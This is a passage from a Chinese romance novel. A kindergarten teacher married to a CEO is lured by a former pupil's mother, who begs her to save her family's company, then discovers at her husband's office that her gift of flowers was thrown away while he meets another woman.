这一刻,周绾宁心底万分多的情绪里,被他肯定的开心占据了上风,还有一丝感动。 也许在谢温言的心里,她和她的菜,还是有一定分量的。 不过,有件事情,她还是想搞清楚。 “谢温言,你怎么突然回来了?” 她没告诉他,她做饭了啊。 “一个小时前,桐姨给我发消息提醒说,今晚会倒春寒,她怕鱼池结冰,想我早点回来帮盖一下防寒布。从她的只言片语中,我知道她不在家,询问了原因才知道你今天准备亲自下厨做饭给我吃,于是放了她的假。” 谢温言抬眸审视,“绾宁,为什么不直接跟我说,你在家做了饭等我回来?” 周绾宁垂眸:“因为怕……打扰到你的工作。” 一开始她确实是怕打扰他,后来则是觉得他可能还要陪沐黎参加巡演后的庆功晚宴,估计不会想回家吃饭。 她在他心里的重要,本就比不上他的工作,更何况现在他的工作里还有个沐黎。 上次,谢温言虽然否认了他给沐黎送花的事情,但他好像从未提过他对沐黎的看法。 如果谢温言是喜欢沐黎的,那她就不做他们感情里的小丑了…… 突然,男人抬起她的下巴,揶揄着:“周绾宁,难道在你的眼里,我已经过分到连顿饭都不愿意陪我的妻子吃了?” 周绾宁愣住。 同时,沉溺在一片酸海里的心脏,因为“我的妻子”四个字,不知怎么,竟也翻涌出了一抹甜来。 但她心里有些害怕这抹甜腻,于是慌忙从吧台跳下,留下一句话:“你快吃吧,吃完记得收拾好厨房,我、我先去睡了。”随后,头也不回地往楼上跑。 谢温言低头笑了笑,细细品尝周绾宁为他亲手做的饭菜。 * 周三上午没有课,周绾宁一觉睡到了日上三竿。 睡意消散后后,她满足地看着身侧空荡荡的枕头,翻身过去,慵懒地抱住谢温言的枕头,闻着上面的淡香,心里很是安宁。 这时,她的手机里闪进一个电话。 是……高琼芝的女儿小苹果打来的。 她立马接起:“喂,小苹果?怎么了?” 开学时,周绾宁有特意让每个小朋友记下自己的电话。 这样万一小朋友出去遇到什么事情,除了他们的爸爸妈妈还有她这个老师可以帮忙。 但自从上次高琼芝来幼儿园闹事、前园长何正启贪污落马,小苹果就没来幼儿园再上过课。 她突然给她打电话,应该是遇到什么事了。 “小周老师,呜呜……” 小苹果没有回答,只是一个劲在电话对面哭。 周绾宁的心一下子揪紧了起来。 虽然高琼芝还有那个变态对她做的事情确实不厚道,但她挺喜欢小苹果的,她是个又有礼貌又很善意的孩子。 “小周老师,爸爸妈妈吵架,我一个人从家里逃出来了,呜呜,小周老师我害怕。” “别怕,你在哪?老师马上过来接你。” “就在幼儿园旁边的儿童乐园里。” “好,小苹果,你在乐园里等着老师,谁来找你都不要跟他走,知道吗?” “嗯!” 听到孩子稚嫩的声音,周绾宁发消息向周辞安请了假,讲明缘由,随后连忙洗漱完驱车赶去了儿童乐园。 * 从停好的车上下来,周绾宁顾不得身体的不舒服,跑到秋千区找到了在那形单影只的小苹果。 小家伙孤零零地荡着秋千,看到她赶来后,忍不住眼眶发红,泪汪汪的,委屈叫她:“小周老师……” “老师在这,别怕。” 周绾宁蹲到她面前,揉揉她的脑袋。 后来,在发现她的小手发凉时,她觉得还是要尽快送她回到她父母身边,便和她商量。 “小苹果,老师先带你回幼儿园,然后让其他老师帮你联系……” “不用了,就是我把她带出来的。”这时,一道熟悉的声音从后方传来,打断了周绾宁的询问。 周绾宁愣了下,回头看去,发现是高琼芝。 那一刻,她感觉自己的额头在隐隐作痛,忍不住问,“高女士,你利用小苹果引我来这里,是想做什么?” 高琼芝没有说话,只是一味地走近,直到两人的间距只剩一米时,她高大的身躯突然落跪到地上。 她 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周绾宁用力将自己的手抽回:“我不知道高太太在说什么。这儿是公共场合,请你自重。”说完,她转身要走。 高琼芝站起来,几乎是吼出声来:“高氏集团三千多个员工的生计,全在周小姐的一念之间。” 本要离开的周绾宁,脚步骤然停下。 过往一些昏暗的回忆,像是海水奔腾过来,灌入她的脑海里。 周家破产她是亲历者。 那时候,她不得已暂时放弃学业、放弃舞蹈,和爸爸一起奔波拉投资。 她见过爸爸在酒局上喝酒喝到吐,也经历过在带他离开时,那些昔日道貌岸然的叔叔们恶心的咸猪手和言语羞辱。 后来周家破产,周氏集团下面的员工纷纷没了收入来源,一些底层的工厂工人甚至有因为失去生计自杀的。 就连她爸后来也是。 她垂在身侧的手微微握成拳头。 高琼芝的声音从后传来。 “周小姐,你要我怎么都可以,我可以跪着在这个儿童乐园走一圈,甚至我可以带着小苹果从此离开这个城市。” “……只求您,让谢总放我们一马。” * 犹豫一下午后,周绾宁还是为了高氏集团的事,踏进了盛坤集团的门。 她不是来给高琼芝求情的,只是觉得她们之间的恩怨没必要牵扯到一个企业的生死存亡,害那么多人失业。 当然她也不会插手盛坤的事情。 她过来只是想来问问谢温言对高氏集团员工的安排,如果能保住他们的岗位,那就是最好的结果了。 为此,她还特意带了一份谢温言这个隐藏甜食爱好者很喜欢的小蛋糕。 她走到总裁办的前台那,向小助理报上了自己的名字。 谢温言说过,只要是她来,可以不用通报,直接进去。 小助理查阅了下通行名单后,犹豫一瞬,恭敬地解释:“女士你好,现在总裁有些不方便,请您在外稍微等下。” “不方便?” “嗯,他正在接待一位客人。” 客人? 需要谢温言亲自招待的,想必是位贵客。 周绾宁第一时间想到了谢温言的好友宋承珉,便道:“没关系,我可以在门口等一会儿。” 助理也没多阻拦,对她指引了方向。 周绾宁道了谢,拎着小蛋糕去到走廊尽头的总裁办公室外等候。 不知道谢温言会和宋承珉聊多久,她等得有些无聊,目光无意识划过手腕上的表。 这是谢温言去年结婚纪念日,送她的。 粉色的表盘上镶满了钻,是私人高级定制的情侣女式款。 从要追求他开始,她就把它戴在了手上。 有点儿像以前情窦初开的女生,会和喜欢的人偷偷戴同款一样。 她沉溺在手表的意义和美貌中,忽的,眼角余光注意到了一旁的垃圾桶里。 那里有一抹熟悉的红。 略一犹豫后,周绾宁伸手打开垃圾桶的盖子。 在看清里面的东西后,愣在当场—— 原来她满心欢喜送给谢温言的花…… 并不在他的手上,而是被人丢在了垃圾桶里。 周绾宁来不及细想原因,这时,没有关紧门的总裁办公室里传来一男一女的话音。 她小心翼翼地探头看向里面。 却见谢温言正在接待的贵客,压根就不是宋承珉,而是…… 沐黎。